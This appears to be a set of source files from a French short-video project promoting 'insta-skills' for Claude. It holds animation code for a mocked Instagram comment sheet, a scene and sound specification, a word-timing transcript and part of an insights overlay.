const TAP_COM = 1.365, T_SHEET = 1.39, TAP_FIELD = 1.545;
const WORD = 'KITCHEN';
const TYPE = WORD.split('').map((_, i) => 1.58 + i * .035);         // 1.58 .. 1.79: settled on « Kitchen » (1.68)
const T_PUB_ON = TYPE[0], TAP_PUB = 1.955, T_POST = 1.99, T_LIKE = 5.16, T_DM = 4.10;
const BAN_T = [2.20];                                                // one banner, lands on t'envoie, held readable to the end
// other viewers' KITCHEN comments land under the viewer's own (pinned) one
const FLOOD = [
  [2.67, 'KITCHEN', 'linear-gradient(135deg,#ff9a3c,#d9480f)', 'C'],
  [3.18, 'Kitchen', 'linear-gradient(135deg,#20c997,#087f5b)', 'M'],
  [3.75, 'KITCHEN stp', 'linear-gradient(135deg,#845ef7,#5f3dc4)', 'H'],
  [4.25, 'kitchen', 'linear-gradient(135deg,#f06595,#a61e4d)', 'B'],
  [4.64, 'KITCHEN', 'linear-gradient(135deg,#4dabf7,#1864ab)', 'A'],
  [5.00, 'Kitchen merci', 'linear-gradient(135deg,#ffd43b,#e67700)', 'Q'],
];
const OLD = [
  ['lea.design', '1 min', 'KITCHEN', 'linear-gradient(135deg,#2bb673,#0b6e4f)', 'L', '7'],
  ['hugo.front', '2 min', 'Kitchen !!', 'linear-gradient(135deg,#ff7a59,#c2185b)', 'M', '12'],
  ['thomas.dev', '4 min', 'KITCHEN stp', 'linear-gradient(135deg,#5b4bdb,#1b9cff)', 'T', '9'],
];
const NAMES = ['camille.design', 'maxime_freelance', 'hugo.studio', 'baptiste.ia', 'anais.crea', 'quentin.dev'];
const mkRow = (name, age, text, av, likes, hl) => {
  const r = document.createElement('div'); r.className = 'crow';
  r.innerHTML = (hl ? '<div class="hl"></div>' : '') + `<div class="cav anon"${av.bg ? ` style="background:${av.bg}"` : ''}>${av.html}</div>
    <div class="cbody"><div class="cname"><b class="anon">${name}</b><span>${age}</span></div><div class="ctext">${text}</div><div class="creply">Répondre</div></div>
    <div class="clike"><span class="ho">${HEART_O}</span><span class="hf" style="display:none">${HEART_F}</span><span class="lk">${likes}</span></div>`;
  $('list').appendChild(r); return r;
};
const LIST_TOP = 54, ROW_H = 60;
// the viewer's own comment: a third-party account, so handle + avatar blurred
const newRow = mkRow('julien.ia_93', "à l'instant", WORD, { bg: 'linear-gradient(135deg,#f4a261,#7b2cbf)', html: 'J' }, '', true);
const oldRows = OLD.map(([n, a, tx, bg, ini, l]) => mkRow(n, a, tx, { bg, html: ini }, l));
const floodRows = FLOOD.map(([, tx, bg, ini], i) => mkRow(NAMES[i], "à l'instant", tx, { bg, html: ini }, ''));
const letters = WORD.split('').map(c => { const s = document.createElement('span'); s.textContent = c; $('typed').appendChild(s); return s; });
const railIt = [...document.querySelectorAll('.rit')], infoIt = [...$('info').children];
const nHo = newRow.querySelector('.ho'), nHf = newRow.querySelector('.hf'), nLk = newRow.querySelector('.lk'), nLike = newRow.querySelector('.clike');
const bans = [$('ban0')], banIn = [[...bans[0].children]];

// the viewer's finger: [t0, t1, x, y] eased moves (CSS px)
const COM = [374, 516], FIELD = [170, 681], PUB = [365, 681];
const MOVES = [[0, 0, 300, 660], [.98, 1.33, COM[0], COM[1]], [1.40, 1.53, FIELD[0], FIELD[1]], [1.82, 1.94, PUB[0], PUB[1]], [2.06, 2.38, 330, 770]];
const TAPS = [TAP_COM, TAP_FIELD, TAP_PUB];
function curAt(t) {
  let x = MOVES[0][2], y = MOVES[0][3];
  for (const [a, b, nx, ny] of MOVES) { if (t < a) break; const p = b > a ? io(seg(t, a, b)) : 1; x = lerp(x, nx, p); y = lerp(y, ny, p); }
  return [x, y];
}
// press: a smooth dip in [a - .05, a + .09], peak at a + .015
const pressAt = (t, a) => { const d = t - a; return d > -.05 && d < .09 ? clamp(1 - Math.abs(d - .015) / .065) : 0; };
const show = (el, v) => { el.style.display = v > .001 ? '' : 'none'; };

window.setT = function (t) {
  // the rail, the info and the bottom gradient fade under the opening sheet and stay gone
  const hc = io(seg(t, T_SHEET + .02, T_SHEET + .22));
  const g = clamp(seg(t, T0, T0 + .3));
  $('gtop').style.opacity = g; $('gbot').style.opacity = g * (1 - hc);
  // top: status + Reels title + camera drop in
  [['status', 0], ['rtitle', .04], ['rcam', .08]].forEach(([id, d]) => {
    const q = SV(t - T0 - d, 16, .6), el = $(id);
    el.style.transform = `translateY(${-26 * (1 - q)}px)`; el.style.opacity = clamp(q * 1.4);
  });
  // rail: icons slide in from the right one by one, audio square last
  railIt.forEach((el, i) => {
    const q = SV(t - T0 - (.06 + i * .05), 15, .65);
    el.style.transform = `translateX(${70 * (1 - q)}px)`; el.style.opacity = clamp(q * 1.5) * (1 - hc);
  });
  { const q = SV(t - T0 - .26, 15, .65); $('audio').style.transform = `translateX(${70 * (1 - q)}px) rotate(${(t * 40) % 360}deg)`; $('audio').style.opacity = clamp(q * 1.5) * (1 - hc); }
  // info block rises row by row
  infoIt.forEach((el, i) => {
    const q = SV(t - T0 - (.14 + i * .05), 15, .6);
    el.style.transform = `translateY(${24 * (1 - q)}px)`; el.style.opacity = clamp(q * 1.4) * (1 - hc);
  });
  $('prog').style.opacity = clamp(seg(t, T0 + .15, T0 + .35)) * (1 - hc);
  $('progi').style.width = (58 + 2.2 * t) + '%';

  // comment icon press (a dip, no pop) + the count rolls when the comment is posted
  $('comsvg').style.transform = `scale(${1 - .2 * pressAt(t, TAP_COM)})`;
  const roll = out(seg(t, T_POST + .02, T_POST + .16));
  $('cc0').style.transform = `translateY(${-16 * roll}px)`; $('cc0').style.opacity = 1 - .6 * roll;
  $('cc1').style.transform = `translateY(${16 * (1 - roll)}px)`; $('cc1').style.opacity = .4 + .6 * roll;

  // sheet slides up over the bottom of the reel (the face stays in the clear), 8 % dim at most
  const ps = SV(t - T_SHEET, 15, .6);
  $('sheet').style.transform = `translateY(${(1 - ps) * 290}px)`; show($('sheet'), ps);
  $('dim').style.opacity = .08 * ps; show($('dim'), ps);
  const hq = S(t - (T_SHEET + .06), 18);
  $('stitle').style.opacity = hq; $('splane').style.opacity = hq;

  // list: the viewer's comment is pinned on top, every other new comment slides in right under it
  const pn = SV(t - T_POST, 16, .5);
  const pf = FLOOD.map(([a]) => SV(t - a, 16, .5));
  floodRows.forEach((r, k) => {
    const p = pf[k]; show(r, p);
    let above = pn; for (let j = k + 1; j < FLOOD.length; j++) above += pf[j];   // newer rows sit above this one
    r.style.top = (LIST_TOP + above * ROW_H) + 'px';
    r.style.opacity = clamp((p - .08) / .45);
    r.style.clipPath = `inset(0 0 ${(1 - p) * ROW_H}px 0)`;
  });
  const fsum = pf.reduce((a, b) => a + b, 0);
  oldRows.forEach((r, i) => {
    const q = S(t - (T_SHEET + .08 + i * .04), 18);
    const y = LIST_TOP + (i + pn + fsum) * ROW_H + (1 - q) * 14;
    r.style.top = y + 'px'; r.style.opacity = q; show(r, q * (y < 200 ? 1 : 0));
  });
  newRow.style.display = t >= T_POST ? '' : 'none';
  newRow.style.top = LIST_TOP + 'px'; newRow.style.opacity = clamp((pn - .08) / .45);
  newRow.style.clipPath = `inset(0 0 ${(1 - pn) * ROW_H}px 0)`;
  // the creator likes it on « suis »: the heart dips, fills red, the count reads 1
  const liked = t >= T_LIKE;
  nHo.style.display = liked ? 'none' : ''; nHf.style.display = liked ? '' : 'none'; nLk.textContent = liked ? '1' : '';
  nHf.style.transform = `scale(${.6 + .4 * S(t - T_LIKE, 22)})`;
  nLike.style.transform = `scale(${1 - .18 * pressAt(t, T_LIKE - .03)})`;
  newRow.querySelector('.hl').style.opacity = Math.max(clamp(pn * 2) * (1 - io(seg(t, 3.4, 3.9))), .7 * flash(t, T_LIKE));

  // field: tapped, « KITCHEN » typed letter by letter, Publier lights up, cleared after the post
  const focused = t >= TAP_FIELD + .02 && t < TAP_PUB + .02, cleared = t >= TAP_PUB + .03;
  let n = 0;
  letters.forEach((s, i) => {
    const on = t >= TYPE[i] && !cleared; if (on) n++;
    const q = S(t - TYPE[i], 45);
    s.style.display = on ? '' : 'none'; s.style.transform = `translateY(${(1 - q) * 3}px)`; s.style.opacity = .3 + .7 * q;
  });
  $('ph').style.display = n ? 'none' : '';
  const typing = t >= TYPE[0] && t < TYPE[TYPE.length - 1] + .12;
  $('caret').style.opacity = focused && (typing || Math.floor((t - TAP_FIELD) * 2.4) % 2 === 0) ? 1 : 0;
  $('ph').style.left = (focused ? 18 : 15) + 'px';
  $('field').style.borderColor = focused ? '#555' : '#3c3c3c';
  const pon = cleared ? 0 : SV(t - T_PUB_ON, 26, .8), pp = pressAt(t, TAP_PUB);
  $('pub').style.opacity = (.35 + .65 * pon) * (1 - .45 * pp);
  $('pub').style.transform = `scale(${1 - .08 * pp})`;

  // DM badge on the sheet's paper plane on « DM »
  const db = S(t - T_DM, 20);
  show($('dmb'), db); $('dmb').style.opacity = clamp(db * 1.6); $('dmb').style.transform = `scale(${.55 + .45 * db})`;

  // iOS banners: each drops in, the older ones slide back into a stack behind the newest (the face stays clear)
  const bq = BAN_T.map(a => SV(t - a, 13, .6));
  bans.forEach((el, i) => {
    const b = bq[i]; show(el, b);
    let d = 0; for (let j = i + 1; j < bans.length; j++) d += S(t - BAN_T[j], 13);   // depth in the stack
    el.style.zIndex = 40 + i;
    el.style.transform = `translateY(${-130 * (1 - b) + 13 * d}px) scale(${(.97 + .03 * b) * (1 - .05 * d)})`;
    el.style.opacity = clamp(b * 3);
    el.style.background = `rgb(${32 + 10 * Math.min(d, 2)},${32 + 10 * Math.min(d, 2)},${32 + 10 * Math.min(d, 2)})`;
    banIn[i].forEach(c => { c.style.opacity = clamp(1 - d * 1.6); });
  });
  $('status').style.opacity = (1 - clamp(bq[0] * 1.4)) * clamp(SV(t - T0, 16, .6) * 1.4);

  // finger dot + ripples
  const [cx, cy] = curAt(t);
  let press = 0; for (const a of TAPS) press = Math.max(press, pressAt(t, a));
  const vis = clamp(seg(t, .94, 1.06) - seg(t, 2.08, 2.28));
  show($('dot'), vis);
  $('dot').style.transform = `translate(${cx}px,${cy}px) scale(${1 - .16 * press})`;
  $('dot').style.opacity = vis; $('dot').style.background = `rgba(255,255,255,${.32 + .3 * press})`;
  const rips = TAPS.filter(a => t >= a && t < a + .42).slice(-2);
  [0, 1].forEach(i => {
    const el = $('rip' + i), a = rips[i];
    if (a === undefined) { el.style.display = 'none'; return; }
    const p = out((t - a) / .42), [rx, ry] = curAt(a);
    el.style.display = ''; el.style.transform = `translate(${rx}px,${ry}px) scale(${.45 + .85 * p})`; el.style.opacity = .85 * (1 - p);
  });
  return true;
};
// a short blue flash on the liked row: rises with a spring, fades out over .6 s (monotonic in, monotonic out)
function flash(t, a) { return S(t - a, 30) * (1 - io(seg(t, a + .25, a + .85))); }
window.setT(0);
</script></body></html>

// Short: "Claude vient de tuer Instagram (Insta Skills)". One promise, Instagram from start to finish: Claude as the
// community manager of your account, the free insta-skills (script, edit, DM), then the viral skill on real numbers
// (Treg fetch, my reel's retention drop at 10 s, the competitor reel x31) and the comment CTA « INSTA ».
// style "papier" (paper blue, framed camera, fixed seam 1160), full camera only for the CTA.
// All times are SOURCE seconds (files/words.md).
const WHIP = -1150;
const L = { claude: 'assets/logos/claude.png', ig: 'assets/logos/instagram.png', treg: 'assets/logos/treg.png' };
const I = n => `assets/images/${n}`;
const G = n => `assets/icons/glyph/${n}.png`;

window.SPEC = {
  title: 'Claude vient de tuer Instagram',
  media: {
    githubRepo: { src: 'assets/github-repo.mov', width: 1080, alpha: true },
    staffBadge: { src: 'assets/staff-badge.mov', width: 1080, alpha: true },
    scriptHook: { src: 'assets/script-hook.mov', width: 1080, alpha: true },
    tregFetch: { src: 'assets/treg-fetch.mov', width: 1080, alpha: true },
    igDm: { src: 'assets/ig-dm.mov', width: 1080, alpha: true },
    insights: { src: 'assets/insights-competitor.mov', width: 1080, alpha: true },
    igCta: { src: 'assets/ig-cta.mov', width: 1080, alpha: true },
  },
  cam: { crop: [376, 0, 1200, 1080], eyes: [601, 392] },
  // camera grade for this warm take (wood + lamp): highlights cooled, yellows and a bit of the reds desaturated,
  // brighter mids, solid blacks, natural skin (review: "couleur gradient de ma caméra pas top")
  grade: "colorbalance=rm=-.02:bm=.02:rh=-.05:gh=-.01:bh=.05,huesaturation=saturation=-.35:colors=y,huesaturation=saturation=-.12:colors=r,"
    + "curves=master='0/0 .1/.09 .25/.28 .5/.56 .75/.8 1/1',eq=saturation=.92,unsharp=5:5:.45",
  // 0-3.85 count-in; 30.85-39.08 the "dix mille vues" retake; 48.70-52.15 dead air (the prompter line was not said);
  // 57.38-57.94 doubled "directement"; 61.75+ tail
  cut: [[0, 3.85], [30.85, 39.08], [48.70, 52.15], [57.38, 57.94], [61.75, 99]],

  layout: { keys: [[0, 1160], [48.45, 0]] },
  zoom: { keys: [[0, 1]] },
  shake: { keys: [[4.58, 26, .5]] },

  actors: [],

  scenes: [
    // A. hook, frame 0 = the Instagram logo (also the cover): Claude flies in from the top right and smashes it on "tuer"
    { type: 'board', from: 3.5, to: 5.62, pre: 0, outDx: WHIP, items: [
      { k: 'shatter', logo: L.ig, at: 3.5, x: 540, y: 560, s: 440, breakAt: 4.58, hit: [.28, -.28], shown: true, to: 5.7 },
      { k: 'logo', logo: L.claude, at: 3.98, rise: 0, s: 250, slot: false,
        posKeys: [[3.98, [1260, -240]], [4.04, [324, 800], 5], [4.58, [540, 560], 6], [5.30, [540, 330], 12]],
        scaleKeys: [[3.98, .8], [4.04, 1, 5], [5.30, .8]], rotKeys: [[3.98, -1.6], [4.04, 0, 5]] },
    ] },

    // B. "transformer Claude en community manager de ton compte Instagram": the STAFF badge drops in on its lanyard
    { type: 'overlay', media: 'staffBadge', from: 5.62, to: 9.80 },

    // C. "Ça s'appelle Insta Skills et c'est complètement gratuit": the ink title card turns into the public GitHub repo
    // (drawn, toncompte/insta-skills is not published yet), "gratuit" stamped in blue
    { type: 'overlay', media: 'githubRepo', from: 9.80, to: 12.80 },

    // D. "Un skill écrit tes scripts de reels avec des accroches qui font plus de vues": the hook types and gets highlighted
    { type: 'overlay', media: 'scriptHook', from: 12.80, to: 16.40 },

    // E. "Un autre monte tes rushs dans ton style": the timeline edits itself under Claude
    { type: 'board', from: 16.40, to: 18.75, outDx: WHIP, items: [
      { k: 'logo', logo: L.claude, at: 16.46, x: 540, y: 300, s: 170, pop: .5, slot: false },
      { k: 'edit', at: 16.52, x: 540, y: 700, slot: false,
        imgs: [I('rush-1.jpg'), I('rush-2.jpg'), I('rush-3.jpg'), I('rush-4.jpg'), I('rush-5.jpg')],
        markAt: 17.06, cutAt: 17.45, capsAt: 17.80, fxAt: 18.16, playFrom: 16.60, playTo: 18.75,
        steps: [{ text: 'Rushs coupés', at: 17.45 }, { text: 'Sous-titres', at: 17.80 }, { text: 'Ton style', at: 18.16 }] },
    ] },

    // F. "et un autre répond en DM automatiquement à chaque commentaire": the Instagram DMs that send themselves
    { type: 'overlay', media: 'igDm', from: 18.75, to: 23.55 },

    // G. "Mais le plus fou, c'est le skill de viralité": the 4th skill named big
    // review v3: a big torn paper collage (rocket out of a reel phone) instead of the Phosphor rocket glyph
    { type: 'board', from: 23.55, to: 26.30, outDx: WHIP, items: [
      { k: 'img', img: I('viral-rocket-phone.png'), at: 23.68, x: 540, y: 470, s: 540, h: 806, pop: .6, spin: -.2, rot: -.04, slot: false },
      { k: 'text', text: 'viralité', at: 25.46, x: 540, y: 975, size: 170, color: 'blue', ls: -3, dx: 380, slot: false },
    ] },

    // H. "Il récupère tes vraies stats avec Treg et te compare aux reels qui explosent": Treg in a terminal, toi vs niche x31
    { type: 'overlay', media: 'tregFetch', from: 26.30, to: 39.10 },

    // I+J. "Mon dernier reel : 2 600 vues, les gens partaient à la dixième seconde ... trente fois plus":
    // the real reel stats, the retention drop at 10 s, then the competitor row x31 (handle blurred)
    { type: 'overlay', media: 'insights', from: 39.10, to: 47.50 },

    // K. "et réécrit mon script": the real Recorder on this very script, the view dives onto line 01
    { type: 'board', from: 47.50, to: 48.45, pre: .1, outDx: WHIP, items: [
      { k: 'screen', img: I('rec-prompter.png'), at: 47.52, x: 540, y: 600, w: 1000, h: 625, r: 30, dx: 380, slot: false,
        viewKeys: [[47.52, [720, 450, 1]], [47.84, [736, 228, 1.6]]],
        rings: [{ at: 47.95, to: 48.45, rect: [365, 160, 743, 135], pad: 8 }] },
    ] },

    // L. CTA full camera: "Commente INSTA" typed in the real Reels comments, the DM lands, Suivre -> Abonné(e), install in Claude
    { type: 'overlay', media: 'igCta', from: 48.45, to: 61.75, layer: 'over' },
  ],

  music: { bed: 'enquete', offset: 10.7 },
  // review v1: more dynamic sound (bed and cues up, designed hits on every payoff)
  mix: { music: -25.5, sfx: -25, duck: .5 },

  sfx: {
    extra: [
      // B staff-badge: drop, Claude in the photo slot, the Instagram sticker
      [5.64, 'slide', .10], [6.64, 'pop', .12], [8.72, 'thud', .18],
      // C github-repo: card in, title, card turns into the repo, files stagger, gratuit stamp
      [10.30, 'slide', .10], [10.44, 'pop', .12], [10.96, 'slide', .08], [11.31, 'tap', .04], [11.44, 'tap', .04], [11.53, 'tap', .04],
      [11.66, 'tap', .04], [12.10, 'thud', .16],
      // D script-hook: card in, hook types, marker, ACCROCHE label, views pill
      [12.84, 'slide', .10], [13.50, 'tap', .04], [13.80, 'tap', .04], [14.80, 'tap', .06], [15.10, 'pop', .12], [15.64, 'bell', .10],
      // H treg-fetch: panel in, typing, data rows, stamp, 2nd command, result card, avatars, x31
      [26.37, 'slide', .10], [26.62, 'tap', .04], [26.83, 'tap', .04], [27.42, 'thud', .12], [27.91, 'tap', .05],
      [28.45, 'tap', .04], [28.64, 'slide', .08], [29.09, 'tap', .04], [29.28, 'tap', .04], [30.16, 'pop', .14],
      // F ig-dm: panel in, comment banner, bubble, link card, plane, chip, banners stack, Automatique pill
      [18.80, 'slide', .10], [18.86, 'tap', .06], [19.43, 'slide', .06], [19.92, 'tap', .04], [20.24, 'pop', .12],
      [20.56, 'tap', .05], [21.52, 'tap', .05], [21.77, 'tap', .05], [22.01, 'tap', .05], [22.45, 'thud', .10],
      // I+J insights-competitor: card in, views stop on the ceiling, retention drop, 10 s marker, competitor row, x31
      [39.14, 'slide', .10], [41.06, 'thud', .14], [41.67, 'slide', .06], [43.11, 'tap', .06], [44.27, 'slide', .08],
      [44.79, 'tap', .04], [45.64, 'slide', .06], [46.63, 'pop', .14],
      // L ig-cta: bubble tap, sheet, INSTA typed, Publier, comment posts, like, DM ding, Suivre, 2nd DM, pill, Installé
      [52.95, 'tap', .06], [52.99, 'slide', .06], [53.35, 'tap', .04], [53.44, 'tap', .03], [53.52, 'tap', .03], [53.60, 'tap', .03],
      [53.68, 'tap', .03], [53.76, 'tap', .03], [53.99, 'tap', .06], [54.04, 'pop', .12], [54.25, 'tap', .04],
      [54.94, 'bell', .10], [56.12, 'tap', .06], [59.36, 'slide', .06], [60.59, 'pop', .12],
    ],
    files: [
      { src: 'assets/sfx/whoosh-in.mp3', at: 4.42, gain: -12, peak: true },
      { src: 'assets/sfx/glass-shatter.mp3', at: 4.58, gain: -6, peak: true },
      { src: 'assets/sfx/impact-boom.mp3', at: 4.58, gain: -8, peak: true },
      // a whip on every board / component exit
      ...[5.50, 9.20, 12.36, 15.80, 18.68, 22.90, 26.20, 30.49, 47.03, 48.40].map(at => ({ src: 'assets/sfx/whip.mp3', at, gain: -13, peak: true })),
      // designed hits on the payoffs
      { src: 'assets/sfx/impact-boom.mp3', at: 8.72, gain: -15, peak: true },            // B: the Instagram sticker slams on the badge
      { src: 'assets/sfx/unlock.mp3', at: 12.10, gain: -12, peak: true },                // C: "gratuit" stamp
      { src: 'assets/sfx/impact-boom.mp3', at: 12.10, gain: -14, peak: true },
      { src: 'assets/sfx/riser.mp3', endAt: 25.46, gain: -14 },                          // G: riser into "viralité"
      { src: 'assets/sfx/impact-boom.mp3', at: 25.46, gain: -11, peak: true },
      { src: 'assets/sfx/whoosh-in.mp3', at: 30.10, gain: -13, peak: true },             // H: "x31" lands on "explose"
      { src: 'assets/sfx/impact-boom.mp3', at: 30.16, gain: -11, peak: true },
      { src: 'assets/sfx/impact-boom.mp3', at: 41.06, gain: -16, peak: true },            // I: the views hit the ceiling
      { src: 'assets/sfx/riser.mp3', endAt: 46.63, gain: -15 },                          // J: competitor x31
      { src: 'assets/sfx/impact-boom.mp3', at: 46.63, gain: -11, peak: true },
      { src: 'assets/sfx/whoosh-in.mp3', at: 47.84, gain: -14, peak: true },             // K: dive onto line 01
      { src: 'assets/sfx/zhhh_ref_transition.wav', at: 48.45, gain: -13, peak: true },    // L: into the full-camera CTA
      { src: 'assets/sfx/pop-back.mp3', at: 58.20, gain: -17, peak: true },              // L: 2nd DM, a soft pop (review v2: the bell came back too often)
    ],
  },

  captions: {
    scaleKeys: [[0, 2.1], [5.6, 1]],   // giant hook
    replace: [['Instaskill', 'insta-skills'], ['Insta Skills', 'insta-skills']],
    emph: ['tuer', 'Instagram.', 'community', 'manager', 'Instaskill', 'gratuit.', 'accroches', 'style.', 'DM', 'automatique.',
      'viralité.', 'vraies', 'explose.', 'deux', 'mille', 'dixième', 'trente', 'script.', 'Insta', 'abonné.'],
    hide: [],
  },
};

# Words

Source time (what spec.js uses) -> short time. Regenerated by `short.mjs prepare`.

Short duration: 35.01s (source 66.239s, 44 keeps)

| src | short | word |
|---|---|---|
| 3.90 | 0.03 | Claude |
| 4.22 | 0.31 | vient |
| 4.40 | 0.46 | de |
| 4.58 | 0.62 | tuer |
| 4.92 | 0.86 | Instagram. |
| 5.62 | 1.41 | Tu |
| 5.74 | 1.51 | peux |
| 5.88 | 1.64 | maintenant |
| 6.12 | 1.84 | transformer |
| 6.64 | 2.27 | Claude |
| 7.04 | 2.59 | en |
| 7.24 | 2.76 | community |
| 7.78 | 3.23 | manager |
| 8.32 | 3.67 | pour |
| 8.52 | 3.84 | ton |
| 8.72 | 4.02 | compte |
| 8.98 | 4.24 | Instagram. |
| 9.86 | 4.75 | Ça |
| 9.98 | 4.85 | s'appelle |
| 10.44 | 5.22 | Instaskill |
| 11.20 | 5.83 | et |
| 11.38 | 5.95 | c'est |
| 11.60 | 6.12 | complètement |
| 12.10 | 6.55 | gratuit. |
| 12.84 | 6.93 | Un |
| 12.98 | 7.03 | skill |
| 13.44 | 7.40 | écrit |
| 13.82 | 7.73 | tes |
| 13.98 | 7.87 | reels |
| 14.28 | 8.13 | avec |
| 14.60 | 8.41 | les |
| 14.78 | 8.56 | accroches |
| 15.20 | 8.93 | qui |
| 15.40 | 9.07 | font |
| 15.52 | 9.18 | le |
| 15.64 | 9.28 | plus |
| 15.84 | 9.46 | de |
| 15.94 | 9.54 | vues. |
| 16.48 | 9.72 | Un |
| 16.64 | 9.86 | autre |
| 17.06 | 10.08 | monte |
| 17.36 | 10.31 | tes |
| 17.52 | 10.45 | rushs |
| 17.84 | 10.73 | dans |
| 18.00 | 10.87 | ton |
| 18.16 | 11.01 | style |
| 18.84 | 11.31 | et |
| 18.96 | 11.39 | un |
| 19.10 | 11.51 | autre |
| 19.44 | 11.77 | envoie |
| 19.76 | 12.05 | ton |
| 19.92 | 12.19 | lien |
| 20.10 | 12.35 | en |
| 20.24 | 12.47 | DM |
| 21.40 | 12.84 | à |
| 21.52 | 12.95 | chaque |
| 21.78 | 13.17 | commentaire |
| 22.34 | 13.66 | de |
| 22.46 | 13.76 | manière |
| 22.76 | 14.02 | automatique. |
| 23.68 | 14.56 | Mais |
| 23.80 | 14.67 | le |
| 23.94 | 14.79 | truc |
| 24.16 | 14.98 | le |
| 24.28 | 15.08 | plus |
| 24.48 | 15.26 | fou, |
| 24.74 | 15.43 | c'est |
| 24.86 | 15.53 | le |
| 25.00 | 15.65 | skill |
| 25.46 | 16.05 | viralité. |
| 26.40 | 16.58 | Il |
| 26.56 | 16.72 | récupère |
| 27.16 | 17.19 | tes |
| 27.36 | 17.33 | vraies |
| 27.70 | 17.57 | stats |
| 28.10 | 17.88 | et |
| 28.20 | 17.97 | les |
| 28.40 | 18.14 | compare |
| 28.88 | 18.53 | au |
| 29.04 | 18.64 | compte |
| 29.26 | 18.84 | de |
| 29.42 | 18.97 | ta |
| 29.58 | 19.11 | niche |
| 29.92 | 19.41 | qui |
| 30.10 | 19.57 | explose. |
| 39.14 | 20.21 | Mon |
| 39.28 | 20.33 | dernier |
| 39.60 | 20.61 | reel |
| 39.82 | 20.80 | a |
| 39.94 | 20.90 | plafonné |
| 40.52 | 21.38 | à |
| 40.74 | 21.51 | deux |
| 40.88 | 21.64 | mille |
| 41.08 | 21.81 | vues |
| 41.30 | 22.00 | et |
| 41.38 | 22.07 | il |
| 41.50 | 22.17 | m'a |
| 41.64 | 22.30 | montré |
| 42.00 | 22.61 | que |
| 42.12 | 22.71 | les |
| 42.26 | 22.84 | gens |
| 42.48 | 23.03 | partaient |
| 42.78 | 23.29 | à |
| 42.88 | 23.37 | la |
| 43.08 | 23.49 | dixième |
| 43.50 | 23.86 | seconde. |
| 44.16 | 24.25 | Il |
| 44.26 | 24.34 | a |
| 44.38 | 24.45 | trouvé |
| 44.76 | 24.78 | pourquoi |
| 45.24 | 25.19 | le |
| 45.40 | 25.33 | reel |
| 45.62 | 25.52 | concurrent |
| 46.16 | 25.99 | avait |
| 46.38 | 26.19 | fait |
| 46.60 | 26.35 | trente |
| 46.86 | 26.57 | fois |
| 47.06 | 26.75 | plus |
| 47.52 | 27.03 | et |
| 47.62 | 27.12 | il |
| 47.72 | 27.21 | a |
| 47.84 | 27.31 | réécrit |
| 48.24 | 27.66 | mon |
| 48.38 | 27.78 | script. |
| 52.22 | 28.07 | Commente |
| 52.68 | 28.39 | « |
| 52.74 | 28.44 | Insta |
| 53.24 | 28.79 | » |
| 53.28 | 28.82 | et |
| 53.40 | 28.93 | je |
| 53.48 | 29.00 | t'envoie |
| 53.82 | 29.29 | le |
| 53.96 | 29.41 | guide |
| 54.22 | 29.61 | gratuit |
| 54.80 | 30.12 | en |
| 54.94 | 30.24 | DM |
| 55.30 | 30.55 | à |
| 55.48 | 30.62 | condition |
| 55.96 | 31.04 | d'être |
| 56.22 | 31.26 | abonné. |
| 57.14 | 31.57 | Tu |
| 57.24 | 31.66 | vas |
| 57.96 | 31.79 | avoir |
| 58.20 | 32.00 | accès |
| 58.54 | 32.30 | directement |
| 59.20 | 32.87 | aux |
| 59.36 | 33.01 | skills |
| 59.84 | 33.43 | afin |
| 60.04 | 33.60 | de |
| 60.12 | 33.67 | pouvoir |
| 60.46 | 33.97 | les |
| 60.64 | 34.12 | installer |
| 61.04 | 34.47 | sur |
| 61.20 | 34.61 | ton |
| 61.38 | 34.77 | Claude |

<!doctype html>
<html><head><meta charset="utf-8">
<!-- Beat "plafonné à deux mille vues ... trente fois plus" (short time 20.15 s, 6.85 s). Part 1: the real Instagram
     insights of my reel (2 629 views hit a ceiling, retention drops at 10 s). Part 2: the competitor reel row from Treg
     (handle and face blurred), x31 its median and the bar pair. Transparent 1080x1920, drawn only in x 60-1020, y 140-1090.
     Every state is a pure function of t in window.setT(t). -->
<style>
  html, body { margin: 0; background: transparent; }
  body { width: 1080px; height: 1920px; overflow: hidden; position: relative; color: #14161B; -webkit-font-smoothing: antialiased;
    font-family: 'Inter', sans-serif; }
  #root { position: absolute; left: 0; top: 0; width: 1080px; height: 1920px; }
  .card { position: absolute; background: #fff; border-radius: 32px; overflow: hidden;
    box-shadow: 0 22px 44px -18px rgba(20,22,27,.30), 0 6px 16px -4px rgba(20,22,27,.10), 0 0 0 1px rgba(20,22,27,.04); }
  .abs { position: absolute; }
  .big { font-family: 'Bricolage Grotesque', sans-serif; font-weight: 800; letter-spacing: -.02em; color: #14161B; }
  .grey { color: #737373; }
  /* insights card */
  #ins { left: 80px; top: 150px; width: 920px; height: 900px; transform-origin: 0 0; }
  #top { left: 0; top: 0; width: 920px; height: 96px; border-bottom: 2px solid #efefef; box-sizing: border-box; }
  #top .t { position: absolute; left: 0; right: 0; top: 26px; text-align: center; font-size: 38px; font-weight: 700; letter-spacing: -.01em; }
  #top svg { position: absolute; left: 36px; top: 26px; }
  #top img { position: absolute; right: 34px; top: 20px; width: 56px; height: 56px; }
  #reel { left: 0; top: 96px; width: 920px; height: 224px; }
  #cover { position: absolute; left: 44px; top: 18px; width: 112px; height: 199px; border-radius: 16px; object-fit: cover;
    box-shadow: 0 0 0 1px rgba(0,0,0,.06); }
  .meta { position: absolute; left: 196px; font-size: 34px; }
  .icons { display: flex; gap: 40px; align-items: center; }
  .icons span { display: flex; align-items: center; gap: 12px; font-size: 38px; font-weight: 700; }
  #views { left: 0; top: 320px; width: 920px; height: 220px; }
  #views .lab { position: absolute; left: 44px; top: 6px; font-size: 38px; font-weight: 700; }
  #vnum { position: absolute; left: 40px; top: 58px; font-size: 132px; line-height: 1; }
  #spark { position: absolute; left: 0; top: 0; }
  #plaf { position: absolute; right: 44px; top: 4px; font-size: 34px; }
  #ret { left: 0; top: 540px; width: 920px; height: 360px; border-top: 2px solid #efefef; box-sizing: border-box; }
  #ret .lab { position: absolute; left: 44px; top: 18px; font-size: 38px; font-weight: 700; }
  #watch { position: absolute; left: 44px; right: 44px; top: 72px; display: flex; align-items: baseline; justify-content: space-between; }
  #watch .k { font-size: 34px; }
  #watch .v { font-size: 50px; }
  #chart { position: absolute; left: 0; top: 0; }
  .ax { position: absolute; top: 300px; font-size: 34px; font-weight: 600; }
  #pill { position: absolute; top: 296px; height: 50px; padding: 0 16px; border-radius: 25px; background: #258EFF; color: #fff;
    font-family: 'Bricolage Grotesque', sans-serif; font-weight: 800; font-size: 34px; line-height: 50px; white-space: nowrap;
    transform: translateX(-50%); box-shadow: 0 8px 18px -6px rgba(37,142,255,.55); }
  /* bars panel */
